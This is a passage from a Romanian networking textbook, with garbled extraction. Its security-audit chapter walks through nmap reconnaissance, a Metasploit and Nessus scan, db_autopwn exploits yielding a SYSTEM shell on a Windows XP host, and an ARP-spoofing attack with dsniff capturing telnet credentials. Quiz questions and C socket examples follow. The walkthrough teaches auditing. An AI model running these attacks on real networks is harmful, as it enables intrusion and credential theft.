root@HQ:~# nmap -sV 192.168.132.1 Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-20 15:12 EDT Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 80.50% done; ETC: 15:12 (0:00:00 remaining) Nmap scan report for 192.168.132.1 Host is up (0.00068s latency). Not shown: 985 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open netbios-ssn 554/tcp open rtsp? 902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP) 912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP) 2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 3306/tcp open mysql MySQL (unauthorized) 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC MAC Address: 00:50:56:C0:00:08 (VMware) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Pentru a se afia mai multe detalii despre sistemul de operare se adaug parametrul -O:
root@HQ:~# nmap -O 192.168.132.1 Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-20 15:16 EDT Nmap scan report for 192.168.132.1 Host is up (0.00018s latency). [...] Device type: general purpose Running: Microsoft Windows 7|2008 OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008::sp1 OS details: Microsoft Windows 7 or Windows Server 2008 SP1

Dac se ruleaz comanda nmap fr nici un parametru se va obine:


root@HQ:~# nmap 192.168.132.1 Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-20 15:15 EDT Nmap scan report for 192.168.132.1 Host is up (0.00012s latency). Not shown: 985 closed ports PORT STATE SERVICE 135/tcp open msrpc

408 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
139/tcp open netbios-ssn 445/tcp open microsoft-ds 554/tcp open rtsp 902/tcp open iss-realsecure 912/tcp open apex-mesh 2869/tcp open icslap 3306/tcp open mysql 5357/tcp open wsdapi 10243/tcp open unknown 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown MAC Address: 00:50:56:C0:00:08 (VMware)

Se observ c s-au detectat porturile deschise, dar nu toate serviciile au fost recunoscute. Acest lucru se datoreaz faptului c nmap nu a ncercat s interogheze acele porturi ci s-a bazat pe anumite asocieri predefinite (ex.: mysql ascult pe portul implicit 3306). n cazul anterior s -au interogat toate serviciile aferente porturile gsite deschise, principalul dezavantaj al acestuia fiind timpul rulare:
root@HQ:~# time nmap -sV 192.168.132.1 > /dev/null real 1m27.846s [...] root@HQ:~# time nmap 192.168.132.1 > /dev/null real 0m1.513s [...]

Opiunile folosite anterior au fost doar pe un singur IP. Este posibil s se specifice o clas cum s-a fcut la ping scan, dar nu este recomandat mai ales n cazul scanrii de servicii (-sV) care dureaz foarte mult. O particularitate a utilitarului nmap este faptul c scaneaz doar anumite porturi predefinite, cunoscute ca rulnd servicii. Se va deschide portul 64000:
root@client:~# nc -l -p 64000 & [1] 1729 root@client:~# netstat -ntpl Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address [...] tcp 0 0 0.0.0.0:64000

Foreign Address 0.0.0.0:*

State LISTEN

PID/Program 1729/nc

Se scaneaz IP-ul aferent staiei ce a deschis portul 64000 i se observ c nmap nu l-a detectat:
root@HQ:~# nmap 192.168.132.147 Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-20 15:48 EDT Nmap scan report for 192.168.132.147 Host is up (0.000013s latency). Not shown: 999 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds

Pentru a scana toate porturile, trebuie specificat, folosind parametrul p, lista de porturi scanat (de la 1 la 65535), gsind portul dorit:
root@HQ:~# nmap -p 1-65535 localhost Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-20 15:51 EDT Nmap scan report for localhost (127.0.0.1) Host is up (0.000013s latency). Other addresses for localhost (not scanned): 127.0.0.1 Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 7337/tcp open unknown 64000/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds

A u t e n t i f i c a r e |409

13.5 Scenariu de utilizare


n reeaua din Fig. 13-6, reeaua unei companii este conectat la internet prin ruterul R1. La ruterul R1 sunt ataate dou reele, una cu staii folosite de persoanele din companie (A i B) i una cu serverele companiei (S). Compania are ca site de prezentare a activitilor www.test.ro, iar toate staiile din reeaua acesteia au IP-uri publice. Se vor urma paii necesari realizrii unui audit al reelei n cauz pentru a gsi eventuale vulnerabiliti. tiind site-ul companiei se dorete s se afle IP-ul pe care este gzduit site-ul:
root@W:~# dig www.test.ro A [...] ;; QUESTION SECTION: ;www.test.ro. ;; ANSWER SECTION: www.test.ro. 5

IN IN

A A 89.X.192.10

Realiznd o interogare la RIPE se va cunoate clasa din care face parte acest IP i care e rutat n Internet:
root@W:~# whois 89.X.192.10 % This is the RIPE Database query service. % The objects are in RPSL format. [..] inetnum: 89.X.192.0 - 89.X.199.255 [...] route: 89.X.192.0/21 [...] origin: AS41763

INTERNET

Sw7

R1

W 6

8 A B

9 S

13-6 Topologie scenariu Aadar compania a cumprat clasa 89.X.192.0/21 i o ruteaz folosind AS-ul numrul 41763. Vom realiza un ping scan pentru a vedea care din aceste staii este activ:
root@H:~# nmap -sP 89.X.192.0/21 Starting Nmap 6.01 ( http://nmap.org ) at 2013-09-21 06:27 EDT Nmap scan report for 89.X.192.1 Host is up (0.00083s latency). Nmap scan report for 89.X.192.10 Host is up (0.00054s latency). Nmap scan report for 89.X.192.30 Host is up (0.00014s latency). Nmap scan report for 89.X.192.40 Host is up. [...]

Se scaneaz fiecare host s vedem ce sistem de operare ruleaz i ce servicii ruleaz:


root@H:~# nmap -O 89.X.192.1

410 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
[...] PORT STATE SERVICE 22/tcp open ssh Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:kernel:2.6 cpe:/o:linux:kernel:3 OS details: Linux 2.6.32 - 3.2

Cel mai probabil acesta este ruterul (are deschis doar portul SSH pentru management i ruleaz Linux).
root@H:~# nmap -O 89.X.192.10 [...] Nmap scan report for 89.X.192.10 21/tcp open ftp 22/tcp open ssh 53/tcp open domain 80/tcp open http [...] Running (JUST GUESSING): Microsoft Windows 2008|7 (98%), BlueArc embedded (91%), Pirelli embedded (88%) OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_7:::enterprise Aggressive OS guesses: Microsoft Windows Server 2008 SP1 (98%), Microsoft Windows 7 Enterprise (96%), BlueArc Titan 2100 NAS device (91%), Pirelli DP-10 VoIP phone (88%) No exact OS matches for host (test conditions non-ideal).

Pentru IP-ul 89.X.192.10 se observ c nu s-a reuit detectarea sistemului de operare, iar observm c portul 80 (HTTP) este deschis dup cum ne ateptam ntruct acesta este IP -ul care rspunde la cereri HTTP pentru domeniul test.ro.
root@H:~# nmap -O 89.X.192.20 [...] PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds Running: Microsoft Windows XP|2003 OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003 OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

Se observ c staia cu IP-ul 89.X.192.20 ruleaz Windows XP cu Service Pack 2. Cel mai probabil aceasta are probleme de securitate nerezolvate, Service Pack 3 fiind ultimul set de patch-uri de securitate. S-a identificat o posibl int (IP 89.X.192.20), iar acum se dorete descoperirea vulnerabilitilor. Acest lucru se poate face cu Nessus prin interfaa grafic proprie, dar consumul de resurse este semnificativ. Dup cum s-a precizat n subcapitolul Descoperirea vulnerabilitilor acesta este integrat n suita Metasploit putnd fi apelat de acolo direct.
root@bt:~# msfconsole [...] msf > db_driver mysql [*] Using database driver mysql msf msf [*] [+] [+] [*] > db_connect root:toor@127.0.0.1:3306/msf3 > load nessus Nessus Bridge for Metasploit 1.1 Type nessus_help for a command listing Exploit Index - (/root/.msf3/nessus_index) Successfully loaded plugin: nessus

is valid.

msf > nessus_connect admin:admin@172.16.100.30:8834 ok [*] Connecting to https://172.16.100.30:8834/ as admin [*] Authenticated

S-a pornit consola Metasploit (msfconsole), s-a realizat conexiunea la baza de date local (msf3) unde vor fi stocate scanrile, s-a ncrcat plugin-ul pentru a face conexiunea cu Nessus (load nessus), iar n final s-a realizat o conexiune la utilitarul Nessus. Se creaz o nou politic de scanare numit win_xp cu destinaia 89.X.192.20:
msf > nessus_scan_new 1 win_xp 89.X.192.20
[*] Creating scan from policy number 1, called "win_xp" and scanning 89.X.192.20 [*] Scan started. uid is cb77df94-bd91-7157-4f15-37a87fe039b54aa7631fc688a0fa

Se verific starea scanrii Nessus:


msf > nessus_report_list

A u t e n t i f i c a r e |411
[+] Nessus Report List ID -cb77df94-bd91-7157-4f15-37a87fe039b54aa7631fc688a0fa

Name ---win_xp

Status -----completed

Date ---19:25 Sep 26 2013

Se observ c scanarea s-a terminat, iar acum se vor importa rezultatele Nessus n baza de date Metasploit:
msf [*] [*] Done! [+] > nessus_report_get cb77df94-bd91-7157-4f15-37a87fe039b54aa7631fc688a0fa importing cb77df94-bd91-7157-4f15-37a87fe039b54aa7631fc688a0fa 89.X.192.20 Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 Done

Datele importate n baza de date se pot vedea rulnd comanda db_hosts, afindu-se doar IPul i numrul de vulnerabiliti gsite:
msf > db_hosts -c address,vulns Hosts ===== address ------89.X.192.20 vulns ----48

Dup etapa de descoperire a vulnerabilitilor, urmeaz exploatarea acestora. Metasploit are un modul numit autopwn prin care va ncerca n mod automat s exploateze vulnerabilitile pe baza informaiilor din baza de date. Avnd deja n baza de date a Metasploit informaii despre staia cu IPul 89.X.192.20, se ruleaz direct comanda db_autopwn:
msf > db_autopwn -x -e [*] (1/3 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.30:445... [*] (2/3 [0 sessions]): Launching exploit/windows/smb/psexec against 89.X.192.20:445... [*] (3/3 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.30:445... [*] (3/3 [0 sessions]): Waiting on 3 launched modules to finish execution... [*] (3/3 [0 sessions]): Waiting on 2 launched modules to finish execution... [*] Meterpreter session 1 opened (172.16.100.30:43638 -> 89.X.192.20:19848) at Sep 26 18:07:54 2013 [*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution... [*] (3/3 [1 sessions]): Waiting on 0 launched modules to finish execution... msf > sessions -l Active sessions =============== Id Type Information Connection -- ----------------------1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ MIHAI-F03CB6DBE 172.16.100.30:43638 -> 89.X.192.20:19848

Se observ c s-a reuit obinerea unei conexiuni directe cu staia atacat. Pentru a ne asocia cu aceast sesiune vom executa comanda session -i 1, avnd acces la consola sistemului atacat:
msf > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 3332 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>

Aadar, s-a reuit compromiterea reelei vizate. Principala msur ce se poate lua este blocarea accesului din Internet ctre calculatoarele folosite de angajai, nu i traficul ctre serverele WEB. Echivalent, se pot aloca IP-uri private reelei interne i s se realizeze NAT pe routerul R1 pentru accesul acestora la Internet. Aceste lucruri nu mpiedic atacul asupra sistemului din interiorul reelei. Pentru a acoperi i acest scenariu, staia cu IP-ul 89.X.192.20 trebuie s aib sistemul de operare cu toate actualizrile de securitate la zi (este o msur foarte important ce trebuie respectat indiferent de sistemul de operare).

412 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

13.6 Studiu de caz


n cadrul scenariului anterior s-a fcut o demonstraie a unui audit de securitate care a avut ca urmri compromiterea unui sistem din reeaua local, n acest moment avnd acces la nivelul 2 al traficului din reea. Se va simplifica scenariul anterior, lund n considerare doar reeaua local cu 3 staii: B staia legitim de la care se vrea inspecia traficului realizat (89.X.192.30), R1 este gateway-ul reelei (89.X.192.1), iar staia W va fi atacatorul (vezi Fig. 13-7). Se va realiza un atac de tip Man in the Middle, folosind tehnica de ARP spoofing. Pe staia W s-a instalat BackTrack Linux, o distribuie construit pornind de la Ubuntu, special conceput pentru atacuri de reea [11]. Pe staia W se va activa rutarea pentru ca traficul dintre A i GW s poat fi transmis:
echo 1 > /proc/sys/net/ipv4/ip_forward

n acest moment se poate porni utilitarul arpspoof prin care va anuna staia A c MAC-ul lui R1 este MAC-ul su (opiunea -t IP_B) i pe R1 c MAC-ul lui A este de asemenea tot MAC-ul su (se specific IP-ul lui R1 fr nici o opiune):
arpspoof i eth0 t 89.X.192.30 89.X.192.1

Sw1

INTERNET
R1

13-7 Topologe MiTM Dac se ruleaz un sniffer (tcpdump) se va observa tot traficul fcut de staia B n Internet (tot traficul de la B ce trece prin R1). Dac staia B va realiza o conexiune telnet, putem rula utilitarul dsniff pe interfaa eth0 pentru a obine credenialele folosite:
root@B:~# telnet random.com Trying random.com... Connected to random.com. Escape character is '^]'. BackTrack 5 R2 \n \l random login: student Password: Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux student@random:~$ exit

Dac n acest timp se ruleaz pe staia atacatorului (W), vom putea captura conexiunea plus caracterele aferente trimise:
root@W:~# dsniff -i eth0 dsniff: listening on eth0 ----------------09/21/13 11:03:18 tcp 89.X.192.30.60828 -> random.com.23 (telnet) student student exit

A u t e n t i f i c a r e |413 n captura anterioar se pot observa credenialele folosite pentru accesul la serverul random.com (user: student cu parola: student) i comanda transmis dup autentificare (exit).

13.7 Concluzii
n acest capitol au fost prezentai paii necesari pentru a exploata vulnerabilitile serviciilor ce ruleaz pe serverele din reeaua local, fiind grupate n procesul de auditare a securitii reelelor. n primul rnd este necesar s obinem informaii despre reeaua atacat. Cea mai simpl form se realizeaz prin interogarea serverului DNS. Avnd un nume de domeniu, se poate afla IP-ul asociat care face parte din reeaua respectiv. Se trece la urmtorul pas n care se scaneaz toat clasa din care provine IP-ul descoperit anterior i se enumer serverele active, precum i serviciile oferite de acestea. n pasul trei se studiaz care din serviciile descoperite anterior pot avea vreo vulnerabilitate, iar n ultimul pas se exploateaz posibilele vulnerabiliti cu scopul de a obine accesul la un server din reea. Ptrunznd n reeaua local fie prin exploatarea unor servere vulnerabile sau pur i simplu prin conectarea direct la reea (ex. free wireless hotspot) putem genera dou tipuri de atacuri, clasificate dup efectul lor: atacuri de tip DoS n care destinaia atacat nu va mai putea rspunde cererilor legitime i atacuri de acces n care se obine informaia schimbat de dou entiti din reea. n cazul atacurilor DoS, pentru a fi mai eficiente acestea pot fi generate din mai multe puncte, distribuit, fiind destul de greu de detectat i blocat. n cazul atacurilor de obinere a accesului, dac informaia este criptat se pot folosi algoritmi de analiz criptografic pentru a decripta coninutul transmis. Una dintre cele mai utilizate metode de realizare a atacurilor de acces este prin social engineering, componenta uman fiind lanul slbiciunilor n orice soluie de detecie i prevenie a atacurilor. Aceasta poate fi combtut prin impunerea unor proceduri foarte stricte de securitate la nivelul organizaiei.

13.7.1 Linux
Comand dig Descriere Interogare server DNS pentru a afla informaii despre un domeniu colectare de informaii Interogare baz de date IP-uri pentru a afla informaii despre un IP (proprietar, entitatea ce l ruteaz) colectare de informaii" Scanare interval de IP-uri cu scopul de a vedea care sunt folosite i ce servicii ofer fiecare scanare i enumerare

whois

nmap

414 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

13.8 ntrebri
1. Auditarea securitii reelei este realizat de o persoan care poart denumirea de: Black Hat Hacker White Hat Hacker Grey Hat Hacker

2. Spargerea parolelor ce conin caractere speciale folosind Brute Force nu este posibil. / Social Engineering implic interaciunea direct ntre atacator i victim. Adevrat / Fals Adevrat / Adevrat Fals / Fals Fals / Adevrat 3. Prin atacul de tip DoS putem obine accesul la o staie / Nessus este folosit n etapa de exploatare a vulnerabilitilor. Adevrat / Fals Adevrat / Adevrat Fals / Fals Fals / Adevrat 4. Vlan Hopping se poate realiza dac: VLAN-ul de management este acelai cu cel n care se afl atacatorul VLAN-ul nativ pe legturile de trunchi este acelai cu cel n care se afl atacatorul VLAN-ul nativ pe legturile de trunchi este diferit de cel n care se afl atacatorul VLAN-ul nativ pe legturile de trunchi este diferit de cel n care se afl staia atacat Pentru atacul de tip DistributedDoS (DDoS): Este suficient o singur staie care s genereze traficul Este mai uor de detectat dect DoS Se poate confunda foarte uor cu traficul legitim Este un atac de obinere a accesului

5.

A u t e n t i f i c a r e |415

13.9 Referine
[1] ISO 27000 - An Introduction to ISO27001. Accesat la http://www.27000.org/iso-27001.htm [21.09.2013]. [2] Google Hacking Database (GHDB). Accesat la http://www.hackersforcharity.org/ghdb [20.05.2013]. [3] Exploits Database. Accesat la http://www.exploit-db.com/ [20.05.2013]. [4] Nessus Vulnerability Scanner. Accesat la http://www.tenable.com/products/nessus [21.09.2013]. [5] Penetration Testing Software. Accesat la http://www.metasploit.com/ [20.05.2013]. [6] 802.1ad Provider Bridges. 2009 November 19. Accesat la http://www.ieee802.org/1/pages/802.1ad.html [21.09.2013]. [7] Attacks. Accesat la http://www.yersinia.net/attacks.htm [21.09.2013]. [8] dsniff. Accesat la http://www.monkey.org/~dugsong/dsniff/ [21.09.2013]. [9] Check Point Survey Reveals Nearly Half of Enterprises Are Victims of Social Engineering. 2011 September 21. Accesat la http://www.checkpoint.com/press/2011/092111-enterprises-victimssocial-engineering.htm [21.09.2013]. [10] RIPE Network Coordination Centre. Accesat la http://www.ripe.net [21.09.2013]. [11] BackTrack Linux. Accesat la http://www.backtrack-linux.org/ [21.09.2013]. [12] J. Darvet. Cracking Passwords. 2010 February 15. [13] Kris Katterjohn. Port Scanning Techniques. 2007 August 03.

Anexa A: Programarea aplicaiilor IPv6


ipv4_server.c
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define DIMMAX 1024 #define DIE(assertion, call_description) do { if (assertion) { fprintf(stderr, "(%s, %d): ",__FILE__, __LINE__); perror(call_description); exit(EXIT_FAILURE); } } while(0) int main() { int parinte, sock, n; int clientlen; struct sockaddr_in serveraddr, clientaddr; struct hostent *client; char buf[DIMMAX]; parinte = socket(AF_INET, SOCK_STREAM, 0); DIE((parinte < 0), "Nu am putut deschide un socket\n"); //ascultam pe orice adresa memset((char *) &serveraddr,0, sizeof(serveraddr)); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = htonl(INADDR_ANY); serveraddr.sin_port = htons(5000); n = bind(parinte, (struct sockaddr *) &serveraddr, sizeof(serveraddr)); DIE((n < 0), "Nu am facut bind\n"); n = listen(parinte, 5); DIE((n < 0), "Nu se poate asculta\n"); clientlen = sizeof(clientaddr); while (1) { sock = accept(parinte, (struct sockaddr *) &clientaddr,(socklen_t &clientlen); DIE((sock < 0), "Nu am putut accepta o noua conexiune\n");

*)

client = gethostbyaddr((const char *)&clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET); DIE((client == NULL), "Nu merge gethostbyaddr\n"); printf("conexiune inet_ntoa(clientaddr.sin_addr)); realizata cu %s (%s)\n",client->h_name,

memset(buf,0, DIMMAX); while ((n = read(sock, buf, DIMMAX))) { DIE((n < 0), "Nu am reusit sa citim mesajul\n"); printf("echo: %s", buf); n = write(sock, buf, strlen(buf)); DIE((n < 0),"NU am reusit sa scriem mesajul\n"); memset(buf,0, DIMMAX); } return 0; } } close(sock);

A n e x a A | 417

ipv4_client.c
#include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <unistd.h> <sys/types.h> <sys/socket.h> <netinet/in.h> <netdb.h>

#define DIMMAX 1024 #define DIE(assertion, call_description)\ do { \ if (assertion) { \ fprintf(stderr, "(%s, %d): ",__FILE__, __LINE__); perror(call_description); \ exit(EXIT_FAILURE); \ } \ } while(0) int main(int argc, char **argv) { int sock, n; struct sockaddr_in serveraddr; struct hostent *server; char buf[DIMMAX]; DIE((argc != 2), "Programul nu a fost executat corect\n"); sock = socket(AF_INET, SOCK_STREAM, 0); DIE((sock < 0), "Nu am putut deschide un socket\n"); server = gethostbyname(argv[1]); DIE((server == NULL), "Nu exista serverul\n"); //setam adresa serverului cu care se realizeaza conexiunea memset((char *) &serveraddr, 0, sizeof(serveraddr)); serveraddr.sin_family = AF_INET; memcpy((char *)&serveraddr.sin_addr.s_addr,(char *)server->h_addr, server->h_length); serveraddr.sin_port = htons(5000); n = connect(sock, (struct sockaddr *) &serveraddr, sizeof(serveraddr)); DIE((n < 0), "Conexiunea nu a reusit\n"); while (1) { printf("mesaj: "); memset(buf,0, DIMMAX); fgets(buf, DIMMAX, stdin); n = write(sock, buf, strlen(buf)); DIE((n < 0), "Nu am reusit sa scriem mesajul\n"); memset(buf,0, DIMMAX); n = read(sock, buf, DIMMAX); DIE((n < 0), "Nu am reusit sa citim mesajul\n"); printf("echo: %s", buf);

} close(sock); return 0; }

ipv6_&_ipv4_server.c
#include #include #include #include #include #include #include #include #include <stdio.h> <unistd.h> <stdlib.h> <string.h> <netdb.h> <sys/types.h> <sys/socket.h> <netinet/in.h> <arpa/inet.h>

#define DIMMAX 1024 #define MAXCON 5 #define DIE(assertion, call_description) \ do { \ if (assertion) { \ fprintf(stderr, "(%s, %d): ",__FILE__, __LINE__);

418 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
perror(call_description); exit(EXIT_FAILURE); } } while(0) int main() { int parinte[MAXCON]; fd_set sock_ptr_parinte,aux_sock; int sock, n, i; int nsock; int clientlen; struct sockaddr_storage clientaddr; struct addrinfo hints, *res, *aip; char nume_client[100],adresa_client[50]; char buf[DIMMAX]; memset(&hints, 0, sizeof(hints)); hints.ai_flags = AI_PASSIVE; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; n = getaddrinfo(NULL, "5000", &hints, &res); DIE((n < 0), "Nu am putut executa getaddrinfo\n"); nsock = 0; FD_ZERO(&sock_ptr_parinte); FD_ZERO(&aux_sock); for (aip=res; aip && nsock < MAXCON;nsock++, aip=aip->ai_next) { //parinte = socket(AF_INET, SOCK_STREAM, 0); parinte[nsock]= socket(aip->ai_family, aip->ai_socktype, aip->ai_protocol); DIE((parinte[nsock] < 0), "Nu am putut deschide un socket\n"); #ifdef IPV6_V6ONLY int v6only = 1; if (aip->ai_family == AF_INET6) { n = setsockopt(parinte[nsock], IPPROTO_IPV6, IPV6_V6ONLY, &v6only, sizeof(v6only)); DIE((n < 0), "Nu am putut face NO_IPV6_V6ONLY\n"); } #endif n = bind(parinte[nsock], aip->ai_addr,aip->ai_addrlen); DIE((n < 0), "Nu am facut bind\n"); n = listen(parinte[nsock], 5); DIE((n < 0), "Nu se poate asculta\n"); FD_SET(parinte[nsock], &sock_ptr_parinte); } freeaddrinfo(res); clientlen = sizeof(clientaddr); while (1) { aux_sock = sock_ptr_parinte; if(select(FD_SETSIZE, &aux_sock, NULL, NULL, NULL) == -1) { perror("Server-select() error lol!"); exit(1); } for (i = 0; i < nsock; i++) { if (FD_ISSET(parinte[i],&aux_sock)) { sock = accept(parinte[i], (struct sockaddr *) &clientaddr,(socklen_t *) &clientlen); DIE((sock < 0), "Nu am putut accepta o noua conexiune\n"); memset(nume_client,0,100); memset(adresa_client,0,50); n = getnameinfo((struct sockaddr *) &clientaddr, clientlen, nume_client, sizeof(nume_client), NULL, 0, 0); DIE((n != 0), "Nu merge gethostbyaddr\n"); n = getnameinfo((struct sockaddr *) &clientaddr, clientlen, adresa_client, sizeof(adresa_client),NULL, 0, NI_NUMERICHOST); DIE((n != 0), "Nu merge gethostbyaddr\n"); printf("conexiune (%s)\n",nume_client,adresa_client); realizata cu %s \ \ \

memset(buf,0, DIMMAX); while ((n = read(sock, buf, DIMMAX))) { DIE((n < 0), "Nu am reusit sa citim mesajul\n"); printf("echo: %s", buf);

A n e x a A | 419

n = write(sock, buf, strlen(buf)); DIE((n < 0),"NU am reusit sa scriem mesajul\n"); memset(buf,0, DIMMAX); } } } freeaddrinfo(res); return 0; } } close(sock);

ipv6_&_ipv4_client.c
#include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <unistd.h> <sys/types.h> <sys/socket.h> <netinet/in.h> <netdb.h>

#define DIMMAX 1024 #define DIE(assertion, call_description)\ do { \ if (assertion) { \ fprintf(stderr, "(%s, %d): ",__FILE__, __LINE__); perror(call_description); \ exit(EXIT_FAILURE); \ } \ } while(0) int main(int argc, char **argv) { int sock, n; //struct sockaddr_in serveraddr; //struct hostent *server; struct sockaddr_storage clientaddr; struct addrinfo hints, *res, *aip; char buf[DIMMAX]; DIE((argc != 2), "Programul nu a fost executat corect\n"); memset(&hints, 0, sizeof(hints)); hints.ai_flags = AI_PASSIVE; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; n = getaddrinfo(argv[1], "5000", &hints, &res); DIE((n < 0), "Nu am putut executa getaddrinfo\n"); for (aip=res; aip;aip=aip->ai_next) { sock = socket(aip->ai_family, aip->ai_socktype, aip->ai_protocol); DIE((sock < 0), "Nu am putut deschide un socket\n"); n = connect(sock, aip->ai_addr,aip->ai_addrlen); DIE((n < 0), "Conexiunea nu a reusit\n"); break; } freeaddrinfo(res); while (1) { printf("mesaj: "); memset(buf,0, DIMMAX); fgets(buf, DIMMAX, stdin); n = write(sock, buf, strlen(buf)); DIE((n < 0), "Nu am reusit sa scriem mesajul\n"); memset(buf,0, DIMMAX); n = read(sock, buf, DIMMAX); DIE((n < 0), "Nu am reusit sa citim mesajul\n"); printf("echo: %s", buf); } close(sock); return 0; }

S-ar putea să vă placă și